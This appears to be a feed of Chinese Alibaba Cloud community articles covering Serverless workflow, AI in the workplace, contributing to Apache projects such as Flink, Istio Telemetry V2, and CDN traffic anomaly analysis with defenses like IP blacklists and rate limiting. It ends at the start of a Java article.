    自动化运维常见有步骤繁琐时间长短不一,单机脚本可靠性低,依赖复杂等常见的挑战,另外进度无法可视化。Serverless 工作流+函数计算的流程可以很好地应对这些挑战。例如软件自动化部署从构建Docker容器,上传容器镜像,开始并追踪各节点下拉镜像并启动新版本镜像的容器,每一步函数产生的日志会被保存到日志服务可供查询分享。基于工作流的自动化工具相比单机运维脚本具有高可用,自带错误处理机制和进度图形化的特点。
    技术06.png
    "Serverless 工作流是阿里云 Serverless 产品体系中的关键一环。" 阿里云 Serverless产品负责人杨皓然表示,“ 通过 Serverless 工作流,用户能够将函数计算、视觉智能平台等多个阿里云服务,或者自建的服务,以简单直观的方式编排为工作流,迅速构建弹性高可用的云原生应用。”

    据悉,阿里云在2017年推出函数计算, 该服务根据应用负载变化实时智能地弹性扩缩容,1分钟完成上万实例的伸缩并保证稳定的延时。目前已经支撑微博、芒果TV、华大基因、图森未来、石墨科技等用户的关键应用,轻松应对业务洪峰。

    ]]>
    人工智能和自动化在工作场所中的重要性 Fri, 02 May 2025 09:39:04 +0800 2.25.29-The-Importance-of-AI-Automation-in-The-Workplace-1_副本.jpg
    人工智能和自动化领域的最新创新为各种规模的企业提供了提高生产率和效率的新机会。我们不再需要依靠人类的认知来筛选大量复杂的信息,从而为复杂的问题提供解决方案。通过算法处理,人工智能为解决问题增加了新的维度,使各行各业的企业受益。
    1.gif

    人工智能如何帮助工业

    AI和自动化最明显的好处之一就是能够完成重要但重复的任务而不会出错。由于具有抗干扰性和可靠的一致性,这些单调的任务可以更有效率地完成。下文讨论了AI和自动化如何影响每个行业的一些示例。

    2.jpg

    医疗保健中的AI

    医疗保健行业已经在享受这些最新技术创新带来的好处。AI的能力从根本上提高了检测肺癌和皮肤癌肿瘤的功效。关于数据处理,人工智能可以分析大量信息以检测其他疾病,从而帮助医生做出更明智的决定。

    人工智能教育

    教育机构可以使用AI来帮助学生个性化学习方法。系统现在可以分析学生处理信息的方式,然后根据他们的需求提供量身定制的支持。这对学习困难的学生特别有利。

    自动化可以完成阅卷和作业的重复性任务,老师们也可以松一口气。这使他们能够在额外的实践教学上投入更多的时间。

    金融领域的人工智能

    特别是对银行来说,人工智能可以作为打击欺诈的有力武器。人工智能系统可以筛选海量数据,发现趋势,冻结任何显示可疑活动的银行账户。

    交易系统已经使用人工智能多年了。这里的共同主题是人工智能的超人阅读数据的能力,它帮助人们根据其识别超出人类理解范围的大数据集中的趋势和模式的能力做出更明智的决定。交易员现在正享受更好的数据分析以及交易决策的加速。

    Industry-1_副本.jpg

    小型企业如何利用人工智能和自动化技术

    人工智能/自动化运动正影响着大大小小的公司。对中小企业来说,主要的好处在于重复性任务、管理和面向客户的助理的自动化。

    自动电子邮件

    电子邮件平台现在使我们能够发送个性化的自动营销电子邮件,以响应触发的操作。这样的系统使您可以发送在销售周期中系统地定制的电子邮件,以提高参与度,重新捕获潜在的丢失客户并推动对您的产品或服务表现出兴趣的人的销售。

    团队管理

    新的团队管理平台(如Asana)的出现为任务的沟通和委派创造了新的维度。经理们可以更轻松地为不同地点的团队提供便利,并插入自动提醒和报告给员工。

    Slack由于其高效的实时通信能力,近年来已成为一种流行的平台。自动化功能包括使用bot通过私有消息传递与团队的每个成员联系,然后将其作为一个整体共享给团队。这就最大限度地减少了主办传统会议的需要,从而腾出宝贵的时间投资到其他地方。

    原文链接

    ]]>
    走进ASF系列 - 如何成为一个合格的ASF贡献者(Contributor) Fri, 02 May 2025 09:39:04 +0800 阿里土话

    ASF是一个开源组织,他有自身的文化,阿里是一个要活好102年的公司,其文化底蕴非凡!分享ASF之前总想或多或少的和大家分享一些阿里的味道!

    • 给世界带来微小而美好的改变
    • 把幸运种子种到别人身上去,你才会有幸运
    • Never, Never, Never Give Up(永不放弃)

    没错,阿里人看到上面的三句话会倍感亲切,因为上面三句都是 “阿里土话”。虽然是阿里土话,但我认为其有放诸四海而皆准的魅力!这些话,同样适用于激发和指导你成为合格的开源贡献者!不经意间看了一眼窗外,心里开心默笑,其实阿里每个角落都充满这阿里气息:

    image.png

    其实每个人参与社区贡献的机缘不一样,但无外乎两种:

    • 偶发事件 - 由于参与某项工作,无选择的就参与了某个开源项目。(我就是这种,很自然的就跟着 蒋晓伟 老师踏入了Apache Flink之旅)
    • 因爱而求 - 每个码农都有一颗想让自己的的代码被应用全球的梦想追求!这梦想的实现要依托有开源的力量,ASF完全可以为你营造最好的实现梦想的环境~

    image.png

    给个理由

    也许目前的你既没有工作的需要,也没有产生对开源产生任何爱意❤️。但了解一件事情总没有坏处,了解参与开源的利好,也许明天你就踏上了开源之旅!

    • 顺势而为 - 如果你是一个码农,那么参与开源是一种must to have的事情,目前开源领域形式大好,各大公司纷纷拥抱开源,比如:Google,Alibaba,Hortonworks, Tencent, Facebook等等。参与开源无疑是扩大了生存的空间。
    • 业界身份证 - 参与开源就是在一点一滴的描绘你的业界身份证,你的开源贡献可以公示全球,由一行代码,一句文档的贡献,到成为某个项目的管理者(PMC成员),到成为 ASF Member 甚至 成为董事会成员,这些就像你曾经为之努力的学士学位,硕士学位,博士学位一样为世人所认可!不夸张的说,某些情况甚至比学位证书还实用!
    • 无国界导师 - 参与开源还有一个特别特别特别重大的利好,就是你可以在你所关注的领域寻找到最好的导师,所谓最好,不是牛,最好是最适合!所谓“三人行,必有我师”,社区交流最初你会感觉和业界大牛无法沟通,因为他的一句话,需要分解成十句才能懵懵懂,甚至不懂!这个不是大牛原因,也不是你的原因,是大牛对你水平的了解不足导致,但即大牛便了解你的水平,也很难让大牛将一句话分解成十句甚至百句话讨论你关注的问题,不是大牛不愿意,更多是我们不好意思:)。所以说,要“门当户对”找到 社区比你水平略高,同时你也能给人家一些反哺的贡献者长时间交流。目前ASF有7600+的Committer,就算是某一个项目,也应该有几十个Committer和数以百计的贡献者,总会遇到可以和你一起进步的小伙伴!虽不曾谋面,却已熟若亲朋!
    • 全球性分享 - 目前ASF项目有140多个领域,参与者覆盖230个国家。如果你小有成就,想将你的知识分享给更多的人,想利用的开源知识帮助更多的人,那么无疑ASF为你提供了这样的平台!你又何尝不能成为上面“无国界导师”中的一员的导师呢!
    • 最佳实践 - 不知 - 了解 - 有方案 - 最佳方案,开源是一个智慧的集结地,一个功能可能有几十种实现方式,这并不是一两个人或者某一个小团队能考虑到(ALL)的,然而在开源一个问题,你在考虑的同时,可能在世界的某个角落,某些角落还有其他人或团队在考虑解决方案,当大家共享方案的时候,智慧的火花将会产生!
    • 领导力塑造 - ASF有公司和项目的治理方式,不论你目前是否一个(技术)管理者,参与开源贡献你都有机会挖掘你自身的领导力。 TL,可以是 Team Lead,也可以是 Tech lead,作为一个码农,往往对 Tech lead 更加情有独钟!在开源贡献一向遵循 “正确的就是拥护的,正确的就是坚持的”!如果你一贯的在社区发出自己独到的见解(管理&技术),那么势必会塑造你独特的领导力,社区领导力是内心驱动的影响力,所以的拥护者都是无外界压力,无情感偏见,发自内心的崇拜赞许!如果你能达到这样的成就,将胜过你职业的晋升,当然这个也会促进你的职业晋升!
    • 给世界带来微小而美好的改变
      毋以善小而不为,小善举大美好!有的时候一个文档优化,甚至一个typo的贡献都会让成千上万的人获益。更有意思的是很多开源贡献者都是从文档贡献开始的 :)一个很有意思的统计,28%的开源贡献来自偶然的文档改进

    Casual contributions are far from being trivial. After a manual inspection of a sample of casual contributions, we found that although 28.64% of them are related to grammar and typo fixes.

    • 认真生活,快乐工作 - 参与开源不仅仅是工作或业余爱好的演练台,也是生活的一部分,他会让你在快乐工作的同时寻找到“臭味相投”的挚友!通过参与Apache Flink项目我也交到了几位德国好朋友,甚至有些好朋友还成为了我的儿子的好朋友!:)看看下图有没有你和我共同的朋友?世界很小~?

    show.jpg

    给个原则

    没有规矩,不成方圆,如果上面的理由足够打动你,那么我再给你一些参与开源的原则:

    • 给世界带来微小而美好的改变
      始终坚信滴水成河的道理,社区贡献在于积累,贵在坚持,不因善小而不为,任何贡献都会使得社区变得更加美好!
    • 公开沟通 - 参与开源的一个重要的原则就是公开沟通,任何问题不论大小,都要在可以被追溯,可以被任何感兴趣的人查阅的方式进行讨论。比如:邮件列表,JIRA上,PR中等。切记不要单独私信讨论,公开讨论有助于更多的人参与,而且还确保了在讨论过程中一些无意识的错误可以很容易被发现和纠正。
    • 保持尊重 - 社区的任何贡献都是以自愿为原则的,不能强迫任何人做事情,也不要无礼貌的敦促任何人做事情的进度(除非特殊情况)。更不能因为意见不通就进行人身攻击,不要以为这好笑,其实是真是发生过的!尊重是相互的,你给予我春风,我自送你一缕芳香!大家努力营造开心和谐的社区氛围。
    • 简明扼要 - 我们可以大胆的在社区提问,追问!但切记在提问之前将自己的问题反复思考,这是对自己负责也是对其他社区贡献者的尊重!因为你的一次问题描述可能将被数百人阅读。写一封简明扼要的邮件意味着人们可以尽可能有效地理解你的意图。如果需要详细说明,请考虑添加摘要。也就是,你的问题描述要简明扼要(这个很能力有关,尽自己最好就行),尽量写清楚上下文,你在什么情况下,遇到了怎样的问题,如何问题再现等等,你的描述越简明扼要,越清晰完整,越容易被人取得别人帮助!
    • 前进一小步,文明一大步 :)
      这可不是 WC 用语,而是确确实实的利他原则。阿里巴巴国际化战役中有一个要求,就是参与国际化建设的阿里人员,到哪个国家,就必须用当地的语言与当地客户沟通。这体现了足够的尊重,体现了足够的服务前的准备和付出!我们在开源社区问问题也是一样的,不能遇到问题,不加思索的就向社区提问,在提问之前要先进行各种尝试,各种资料的查阅,社区已有问题的查阅,同时带上自己的观点去提问,让想帮助你的社区人员看到你在设个问题上的努力。
    • 把幸运种子种到别人身上去,你才会有幸运
      我们不仅仅是问题的提出者,慢慢我们自己也变成问题的解决这,由社区求助者变成社区救助员!努力寻求自己反哺开源社区的机会,为他人付出也是为自己积累!所谓 “为自己,照亮他人!”。加入你相信来世今生的话,这里有个故事分享给给你:

    从前有两个要投胎转世的人,在投胎之前有机会选择投胎之后是做“一生向别人索取的人”还是做“一生施惠于他人的人”,选择了“一生向别人索取的人”的那个,投胎做了 乞丐,而选择了“一生施惠于他人的人”的那个做了富翁!

    所以做社区也一样,努力做施惠于别人的人,就是在社区德高望重,具有领导力的人!:)

    • Never, Never, Never Give Up(永不放弃)
      理想总是美好的,现实总是骨感的,参与社区的人都具备热情,耐心的品质,但社区的问题太多,需要得到帮助的人也太多,相同问题千人千面,意见不一致也是司空见惯的,切记不要意以为提的问题都会很快有人帮忙,你提交的PR很快有人Review。每个的社区贡献都需要如下图所示的投票决定,也许你的贡献被接受,也许你的贡献被拒绝,但请不要太在意一次的贡献成功与否,无轮遇到什么困难,挫折,都要 Never, Never, Never Give Up(永不放弃),因为马总说过 “今天很残酷,明天更残酷,后天很美好,但是绝大部分人是死在明天晚上,看不到后天的太阳”。 只有坚持到最后的人,才能享受到和煦的阳光!

    如何开始

    最常见的参与Apache贡献的方式是选择一个你感兴趣的项目,因为爱好才是最好的原动力!我曾经用一句话描述过ASF:“ASF是一个与阿里巴巴同龄(成立于1999年),有完整的组织(董事会)架构管理,以软件(140个领域)技术全球(覆盖230个国家)共享为使命的公益组织",里面提及 ASF有140个技术领域总有一个你感兴趣的!

    image.png
    image.png
    image.png

    ASF 项目目前分为两大类:

    • 孵化器项目 - 是正在孵化的项目,也就是,在成为ASF 顶级项目之前,需要在ASF进行孵化,当从孵化器毕业之后就会成为Apache顶级项目。参与孵化器项目的好处是你能对项目有更早的参与,有多细节变化的了解,也很容易得到该项目的重视:),目前ASF所有孵化器项目列表请这里查阅
    • Apache 顶级项目 - 这是已经从孵化器毕业的Apache 顶级项目,顶级项目的运作一般已经完全符合Apache Way。直接参与顶级项目的好处是能开始就接触很规范的社区贡献方式和更高的质量代码,有更多的学习资料和更多的参与者。目前Apache 顶级项目列表,可以查阅这里

    一旦选择参与某个项目,不论在什么情况下,你都要听从自己的直觉,做你认为更好或者不同的事情。永远都不忘初心,坚持自己所坚持的~~,也永远牢记上面的原则,其中你会发现“给世界带来微小而美好的改变”非常受用。假如,你在查看文档时候,发现了某个链接的错误或者typo错误。假如,你在使用产品的过程中发现了问题,请不要坐视不理,径直绕开,或者向社区提出问题,等待其他人来修复,因为这正是你贡献社区的好机会,解决这些你能看到的问题,因为,在解决这个问题的同时,也许会有新的问题被你发现~~ 进而你就入道啦:)

    准备工作

    目前ASF开源项目都是在github上面托管的。所以正式参与ASF开源贡献之前你要做一些准备工作:

    创建一个github账号

    点击创建,为了演示,我创建了一个“pyflink”账号 :)

    Fork 你要参与的项目

    Apache Flink为例,如下:
    image.png

    点击 “Fork” 之后,会在你的github账号下出现一个flink项目,如下:
    image.png

    Clone 代码到本地

    做代码贡献之前需要Clone你刚才fork的Flink代码到你本地,以备提交第一个社区贡献PR!
    image.png
    image.png`

    阅读项目贡献说明

    一般具体项目会有介绍如何参与该项目的贡献,以Apache Flink为例 就有关于如果参与Flink社区贡献的说明, 比如:

    Apache Flink is developed by an open and friendly community. Everybody is cordially welcome to join the community and contribute to Apache Flink. There are several ways to interact with the community and to contribute to Flink including asking questions, filing bug reports, proposing new features, joining discussions on the mailing lists, contributing code or documentation, improving the website, or testing release candidates.

    详情查阅这里

    订阅邮件列表

    社区问题大多会在具体项目的社区邮件列表里面进行讨论,所以邮件列表是了解社区动态最重要的收入,以Apache Flink 为例,最要要订阅 开发邮件列表和用户邮件列表,如下:

    首先,点击上面的link,会引导你给 xxx-subscribe@flink.apache.org 发送邮件。然后你会收到官方确认邮件。最后你回复确认邮件之后还会收到一封欢迎邮件,也就意味这你订阅成功了!注意上面每个邮件列表都需要单独发起订阅。
    OK, 到这一步你已经完成了为Apache Flink做贡献的准备工作了:),接下来就要寻找做贡献的机会了!

    创建issue或者解决issue

    目前大多数ASF项目的问题采用JIRA管理(当然也有例外),我们以Apache Flink为例,当用户发现的问题可以在这里查阅。 如果你发现有你感兴趣的issue,不要由于,直接在JIRA下放留言,你想帮忙解决这个问题,并share你解决问题的方法,这样社区会有Committer来与你沟通了!以一个早起我向Flink提及贡献的issue为例 FLINK-13471
    image.png

    当发现有人创建了issue,但还没有分配给任何人,你就可以尝试帮助解决这个问题,在完成开发后提交PR。

    当然,如果你发现了问题,如果是你确认的小问题,可以直接创建新的issue, 如果你对这个问题并不确定,可以在开发邮件列表里面就像邮件讨论。当确认问题之后,再创建issue.

    提交PR

    不论你是修复文档还是贡献代码,都建议在你刚才fork的项目中创建一个用于提交PR的分之,以我上面的为例,我会本地创建一个名为LINK-13473-PR的分支,当完成开发之后,将分支push到自己的仓库,就可以创建PR了,如下:
    image.png

    点击“Compare & pull request”,进行PR创建,如下:

    image.png

    创建PR,有几个值得注意的点:

    • 确保你的分支和官方git的master分支没有冲突,也就是如图显示“ Able to merge.”。
    • 要对PR所要解决的问题,在Title里面简明的体现出来,比如“ FLINK-13471 Add FlatAggregate support to stream Table API(blink planner) ” 明确了 JIRA号FLINK-13471, 模块table 和PR的内容是Add FlatAggregate support to stream Table API(blink planner)
    • 同时在详情里面要清楚的描述你改动的点,不同项目有不同的要求,但总体上保持上面提到的 前进一小步,文明一大步的原则,你些的也清楚,Review的人越容易理解你的改动,你的PR约容易被得到有效的反馈。

    最后,点击“create pull request”完成PR的创建!不过,这还没有完成社区贡献,还需要等待社区其他贡献者的Review。

    正常情况下,除非是typo的贡献,一般有代码逻辑的PR都会或多或少的得到reviewer的改进反馈,这时候就是学习交流的好机会啦:) 你可以尽可能的发表你的看法,解释你的设计,当然也要充分理解反馈的内容,最后根据沟通达成的内容进行PR的更新!

    最后。。。最后。。。最后 达到了社区代码质量的要求,Committer会帮助你进行代码的Merge,这样你就完成了社区第一份贡献喽!!

    开始1-100之旅

    常识性观念是0-1很难,因为那是创新,那是新领域的探索,那是酝酿了很久之后的第一步!但是参与ASF开源贡献,恰恰是0-1很容易,1-100才是一个持久战。需要上面提到的 “Never, Never, Never Give Up(永不放弃)”, 因为我真的看到了很多社区贡献者在一个社区贡献了一段时间之后,如果没有拿到自己想要的结果,比如成为Committer,就会永远的在这个项目贡献里面消失了,Give Up 了!这不是危言耸听,这是真是的现实!所以在ASF开源贡献的道理上,的确有很多人被 马老师的话所命中:“今天很残酷,明天更残酷,后天很美好,但是绝大部分人是死在明天晚上,看不到后天的太阳”。所以,你...准备好了吗?:)

    但行善事,莫问前程

    不论做人,做事还是社区贡献,很多道理都是想通的,在下面的ASF金字塔中,我们从 贡献者 到 董事会成员的路是漫长的,如果你天天想着什么时候成Committer,什么时候成为PMC成员,什么时候成为ASF Member,什么时候能够当选董事会成员,我确信,在ASF开源贡献中,你将无法做到 “快乐工作,认真生活”!过急的目标驱动会增加你的烦恼,相反,登山而不思山顶 攀登,将会迎来一路的惊喜!所以在参与开源的开始,我最后的建议就是:“但行善事,莫问前程”!加油⛽️

    image.png

    阿里土话为你打气

    我相信在ASF开源贡献之旅,你会有很多次要放弃的念头,你会遇到很多怀疑自己的时刻,你会时不时的怀疑社区管理者是否有问题?总之,如果你想把他当作一生的乐趣,在你没有找到乐趣之前,你一定需要下面的在文章开头已经提及的三句话:

    • 给世界带来微小而美好的改变
    • 把幸运种子种到别人身上去,你才会有幸运
    • Never, Never, Never Give Up(永不放弃)

    你参与社区的目的是为了尽自己微薄之力,来让ASF开源社区更美好!
    你参与社区的信念是为其他人播撒幸福幸运的种子,你并没有在乎得到什么汇报,你相信“因果”!
    你参与社区的坚守是永不放弃,因为只要我在前行,必将抵达彼岸!永不放弃要深刻你脑海!

    我很喜欢上面这三句阿里土话,我们共勉把!

    诚挚邀请

    我目前在负责Apache Flink的PyFlink建设,诚挚邀请想参与ASF社区贡献的你,以PyFlink作为你的开源之旅的首站!期待在Apache Flink社区PyFlink的建设中,遇见你~~

    image.png

    小结

    本篇为大家介绍了参与开源的利好,原则,以及介绍为自己的第一个社区贡献需要做怎样的准备。最后诚挚邀请想参与开源建设的朋友首站加入Apache Flink 的PyFlink建设!

    查阅更多内容

    ]]>
    ISTIO telemetry V2 介绍 Fri, 02 May 2025 09:39:04 +0800 背景

    ISTIO 早期版本(1.4以前)的架构非常优雅, 模块之间解耦清晰,职责分明。 但现在看来有一定理想化,所有流量通过Mixer,通过Mixer 统一采集和上报所有的遥测数据和服务间访问鉴权,导致一旦规模上来,Mixer 非常容易成为性能瓶颈。

    image.png



    Telemetry V2介绍 

    在1.4中,ISTIO提出 Mixer-less telemetry 架构,将Mixer 从主流程抽离。 将遥测和服务鉴权能力下沉到每个服务的代理Proxy Envoy中。了解ISTIO 以前架构的同学应该都知道,Mixer 是一个热拔插组件,有极好的扩展性。 支持代码中注册编写Adapter并重新打包的方式更新遥测对接的配置,也支持配置 Out Of Process Adapter  这样的外部适配器,进行遥测的对接和动态配置。但提供灵活性同时,也成为了整个ISTIO 明显的性能瓶颈。

    image.png


    image.png

    Istio 中Telemetry V2的实现

    那么ISTIO 1.4 是如何实现 Mixerless 的呢?
    在1.4中, 服务的遥测和访问鉴权从Mixer逐渐开始下沉到Envoy中, 从而经过我们应用的出入流量不必全部上报到Mixer,实现了Mixer 旁路。   服务遥测在Envoy中完成追踪服务之间的流量请求,并在Envoy所在Pod中监听相关端口,提供Prometheus采集指标。

    image.png

    那么在ISTIO 支持EnvoyFilter  这个CRD,它提供一种机制,可以帮助我们定制 Pilot 所生成并下发给Envoy 配置,在EnvoyFilter中我们能够定义生效的pod范围,注入的时机以及执行内容。 同样EnvoyFilter支持WebAssembly,  我们可以通过EnvoyFilter 配置WebAssembly的执行时机,实现Envoy 的流量管理策略的更新, 例如:  https://istio.io/blog/2020/deploy-wasm-declarative/ 。
    目前在ISTIO 维护的Envoy proxy中, 支持部分内置的WebAssembly 扩展, 目前有4个内置WebAssembly扩展(access_log_policy,stackdriver, stats,metadata_exchange)代码: https://github.com/istio/proxy/tree/master/extensions 

    • 其中access_log_policy,stackdriver 是用于往Google StackDriver推送数据
    • metadata_exchange和stats 用于遥测。 

      • metadata_exchange 会做reqeust和response的上下游标记,记录请求
      • stats 采集请求相关监控指标,暴露Prometheus 可采集的接口。

    image.png

    阿里云服务网格

    阿里云服务网格 目前已经通过Telemetry V2的方式支持Prometheus 监控遥测,您可以在控制台一键开启或者关闭遥测功能,并将监控数据采集到自建Prometheus 或者 阿里云ARMS 中。

    阿里云服务网格动态配置遥测

    image.png

    查看请求数据的监控大盘

    image.png

    ]]>
    CDN流量异常分析以及安全防护 Fri, 02 May 2025 09:39:04 +0800 问题分析

    CDN流量出现突增时,先要检查是否是有一些业务上的推广导致的流量增加。如果不是业务推广,却突然产生了大量的异常流量,则很可能是被恶意攻击或者刷流量导致,需要定位客户端来源信息来加以防护。通常是借助CDN提供的监控统计以及日志来加以分析。

    一.监控统计
    CDN控制台提供了监控统计分析,包含七个部分:PV/UV、Top客户端IP、地区和运营商、域名排名、热门Referer、热门URL、热门URLs(回源)、域名排行。用户可以导出原始详细数据,如网络带宽、流量、域名按流量占比排名以及访客区域、运营商分布等。用户可以通过这些监控统计分析客户端的来源信息、请求URL、Top客户端等信息。其中中等是分析Top客户端IP以及Top Referer信息,具体可以看如下图

    image.png

    image.png

    注意:Referer为"-"则表示是空Referer的请求。


    二.日志分析
    CDN控制台的显示统计分析报表数据会有延迟,对于正在发生的恶意刷流量或攻击行为,往往无法获取实时的信息,这种情况下需要借助CDN提供的日志来分析定位客户端的来源信息。目前CDN提供的日志分为两种:离线日志和实时日志。
    (1)离线日志:默认开启,日志文件延迟一般情况下延迟在24小时之内,但是也有可能超过24小时。登录CDN控制台,下载日志文件,日志相关字段说明请参日志下载。可以借助Linux命令来分析日志,例如执行如下命令,查询访问量前十的IP:

     
    cat [$Log_Txt] | awk '{print $3}' |sort|uniq -c|sort -nr |head -10

    用同样的方法可以分析访问量前10的Top Referer、URL信息,更多请参考日志分析

    (2)实时日志:属于计费服务,默认不开启,需要手动开启,日志数据延迟不超过3分钟。阿里云CDN通过与日志服务融合,将采集到的实时日志实时推送至日志服务,并进行日志分析。通过日志的实时分析,用户可以快速发现和定位问题。除此之外,通过对日志数据的挖掘,提高数据的决策能力,将您的业务推向一个新的高度,更多请参考实时日志帮助文档。


    安全防护

    通过分析出客户端来源信息以后,可以按照以下处理流程图来处理

    p54340.png

    (1)配置IP黑白名单:通过监控统计分析和日志查看是否存在异常IP地址访问资源。如果有短时间大量访问的恶意IP地址,请将IP地址配置为黑名单。
    (2)配置Referer防盗链:该功能是根据HTTP请求的Referer字段来对请求来源的域名进行筛选和链接。CDN支持三种防盗链设置:白名单、黑名单以及是否允许空refer。防盗链功能主要通过URL过滤的方法对来源Host的地址进行过滤,其中黑名单和白名单只能有一种生效,可以将恶意Referer加入黑名单或将正常业务Referer加入白名单,通过该功能可以对请求来源进行限制。
    (3)配置频次控制:如果恶意IP量比较大且不固定,不容易配置IP黑名单,可以考虑配置频次控制。可以根据实际场景自定义配置频次控制功能,设定单位时间内单IP访问频次超过设定的阈值则触发阻断,通过频次控制功能,可以秒级阻断访问该网站的请求,提升网站的安全性。
    (4)配置URL鉴权:URL鉴权功能主要用于保护用户站点的资源不被非法站点下载盗用。通过防盗链方法添加Referer黑名单和白名单的方式可以解决一部分盗链问题,由于Referer内容可以伪造,所以Referer防盗链方式无法彻底保护站点资源。因此,可以采用URL鉴权方式保护源站资源更为安全有效。
    (5)配置UA黑白名单:可以通过配置User-Agent黑名单和白名单来实现对访客身份的识别和过滤,从而限制访问CDN资源的用户,提升CDN的安全性。


    安全加速

    阿里云CDN是公共的加速服务,承载着成千上万的域名加速,默认不提供抗攻击能力。所以当用户域名遭受大量攻击时,CDN系统会自动将对应域名切入沙箱,防止影响其他正常用户的加速服务,域名进入沙箱后,服务质量不再保证且无法恢复,因此做好防护工作十分重要。
    (1)对于CC攻击,可以考虑配置WAF防护功能,使用CDN WAF功能不能解决恶意刷流量问题,但是可以防数据泄密,避免因黑客的注入入侵攻击,导致网站核心数据被拖库泄露;阻止木马上传网页篡改,保障网站的公信力;提供虚拟补丁,针对网站被曝光的最新漏洞,最大可能地提供快速修复规则。
    (2)如果域名经常遭受攻击,可以根据自身业务需求考虑使用SCDN来做安全加速。SCDN(Secure Content Delivery Network),即拥有安全防护能力的CDN服务,提供稳定加速的同时,深度集成抗DDoS、CC攻击的防护功能。基于阿里云飞天平台的计算能力,使用深度学习的算法,智能预判攻击行为,通过智能的调度系统将DDoS恶意请求平滑切换至高防IP完成清洗,保护源站。


    系统监控

    CDN被恶意刷流量导致流量异常时,会产生一定的经济损失,因此建议提前做好监控和安全防护工作。通常我们可以通过CDN的带宽封顶功能以及云监控的阈值报警功能来做监控。

    一.带宽封顶
    带宽封顶功能是指当统计周期(5分钟)产生的平均带宽超出设置的带宽最大值时,为了保护CDN域名安全,此时域名会自动下线,所有的请求会回到源站,CDN将停止加速服务,避免异常流量给用户带来的异常消费。域名下线后,可以在控制台重新启用该域名,具体请参考带宽封顶

    注:因为触发带宽封顶以后域名会停止CDN加速,域名会解析到源站,因此相当于会把源站地址暴露出去,这里也带宽安全隐患,因此建议根据实际情况考虑使用启用该功能。

    二. 云监控报警规则
    结合阿里云的云监控服务,通过设置云监控的报警功能,可以设置带宽峰值和下行流量的报警规则。当流量达到阈值时,系统自动通过电话、短信、邮件等方式通知用户,请及时采取措施。登录云监控控制台,依次选择【报警服务】>【报警规则】>【阈值报警】>【创建报警规则】,选择产品 CDN以后去设定规则。创建针对CDN的报警规则,详情请参见创建阈值报警规则

    p44266.png

    ]]>
    【0420 - 0424 直播导视 | PPT 下载】藏经阁电子书发布会、金融科技五大核心、相约Flink Forward 全球在线峰会 Fri, 02 May 2025 09:39:04 +0800 *本预告时间仅供参考,最终直播时间以直播间信息为准。
    *本文提供直播PPT下载,请在对应直播介绍处查看。

    本周直播重磅推荐:

    4月20日:

    藏经阁电子书发布会:《深入浅出Kubernetes》

    直播时间:04-20 16:00
    直播亮点:
    阿里人独创冰箱学习法、压箱经验大放送,教你轻松掌握K8S核心概念和内容,本次分享将给你带来:
    1、职业解读&K8S在阿里的定位,让你了解为什么懂得 K8S 对于运维人员越来越重要,阿里云是如何看待 K8S 的。
    2、 K8S学习的难点解读,让你快速掌握简单 get K8S 的核心概念(控制器、容器等)的方法;
    3、针对运维人员排查问题的秘密武器分享(排查思路+经典案例);
    4、重中之重:《深入浅出Kubernetes》电子书:集线上海量案例沉淀、理论实践完美契合、理论阐述深入浅出、技术细节追根究底的精品。
    分享嘉宾
    声东,阿里云技术专家

    *PPT下载待更新

    4月21日:

    【阿里CIO学院“技术攻疫大咖说第十九期】从金融智能到区块链:金融科技的五大核心技术与未

    直播时间:04-21 19:00
    直播亮点:
    “金融科技是未来全球金融竞争的制高点,谁掌握好这一最先进的生产力,谁就拥有最强的金融核心竞争力。"近几年全球金融科技领域有哪些重大突破?金融科技有哪些热点技术、核心武器?区块链技术在金融领域有哪些典型的落地场景?4月21日(周二)晚19:00,阿里巴巴集团副总裁、阿里云智能新金融负责人,与您共同探索。

    *PPT下载待更新

    CIO 学院往期视频回看:

    4月22日:

    阿里云新品发布会第90期:数据库自治服务DAS重磅新品发布会

    直播时间:04-22 15:00
    直播亮点:
    数据库自治服务DAS重磅新品发布会,嘉宾分享经验之道,真正实现数据库的自感知、自修复、自优化、自运维等功能。

    *PPT下载待更新

    【阿里的K8s测试环境开源工具箱】第二期:单人开发场景下的测试环境实践

    直播时间:04-22 16:00
    直播亮点:
    在第一次直播中,我们学习阿里巴巴测试环境管理实践,在集团特殊的网络环境以及强大的中间件能力,阿里开发者可以在本地完成与其它服务的联调与测试。
    而在阿里之外,我们如何才能快速构建起本地与云上Kubernetes集群之间的高速通道,从而实现高效的本地开发测试呢?

    *PPT下载待更新

    4月23日:

    【阿里CIO学院“技术攻疫大咖说第二十期】平头哥:云端一体的数字经济之“芯”

    直播时间:04-23 19:00
    直播亮点:
    数字经济时代下,阿里巴巴如何利用云计算驱动数据赋能,而作为阿里巴巴芯片领域的又一布局,是如何实现数智化计算创新?
    数字经济已成为中国经济增长的新引擎
    让物理世界数据化和智能化是平头哥目标
    云端一体的新应用催生芯片架构的创新
    分享嘉宾
    孟建熠:阿里巴巴集团研究员、平头哥半导体副总裁

    *PPT下载待更新

    CIO 学院往期视频回看:

    全球顶尖java:RSocket:the key to cloud native micro-services architecture

    直播时间:04-16 19:00
    分享嘉宾
    Andy Shi

    *PPT下载待更新

    4月24日:

    阿里巴巴自研代码管理平台技术解密

    直播时间:04-24 16:00
    直播亮点:
    阿里自研的代码管理平台(Codeup)已在阿里云上线公测。最近经常有客户和同事会问一个问题,为什么阿里要重新做一套代码管理平台,继续用阿里云上的GitLab版本不是挺好的吗?本次分享将围绕自研代码管理平台的起因、平台的核心能力以及平台核心技术等方面带领大家进行全方位的解读。
    分享亮点
    1.阿里为什么要自研代码管理平台?
    2.Codeup是什么,用户为什么要使用云端托管平台?
    3.Codeup提供哪些核心能力,技术上是如何实现的?
    分享嘉宾
    张玉明(花名:玄坛):阿里巴巴高级技术专家

    *PPT下载待更新

    4月25日:

    Flink Forward 全球在线会议中文精华版0425

    直播时间:04-25 10:00
    直播亮点:
    Apache 顶级项目盛会 Flink Forward 在线会议集结欧洲、北美洲、亚洲众多国际大厂资深技术专家跨时区免费在线分享。中文精华版将由 Apache Member 、Flink PMC 及社区投票共同筛选大会精彩 talk,翻译并进行中文解说,让你足不出户尽享优质内容。

    *PPT下载待更新

    4月26日:

    Flink Forward 全球在线会议中文精华版0426

    直播时间:04-26 10:00
    直播亮点:
    Apache 顶级项目盛会 Flink Forward 在线会议集结欧洲、北美洲、亚洲众多国际大厂资深技术专家跨时区免费在线分享。中文精华版将由 Apache Member 、Flink PMC 及社区投票共同筛选大会精彩 talk,翻译并进行中文解说,让你足不出户尽享优质内容。

    *PPT下载待更新
    ]]>
    Java 的这些坑,你踩到了吗? Fri, 02 May 2025 09:39:04 +0800 前言

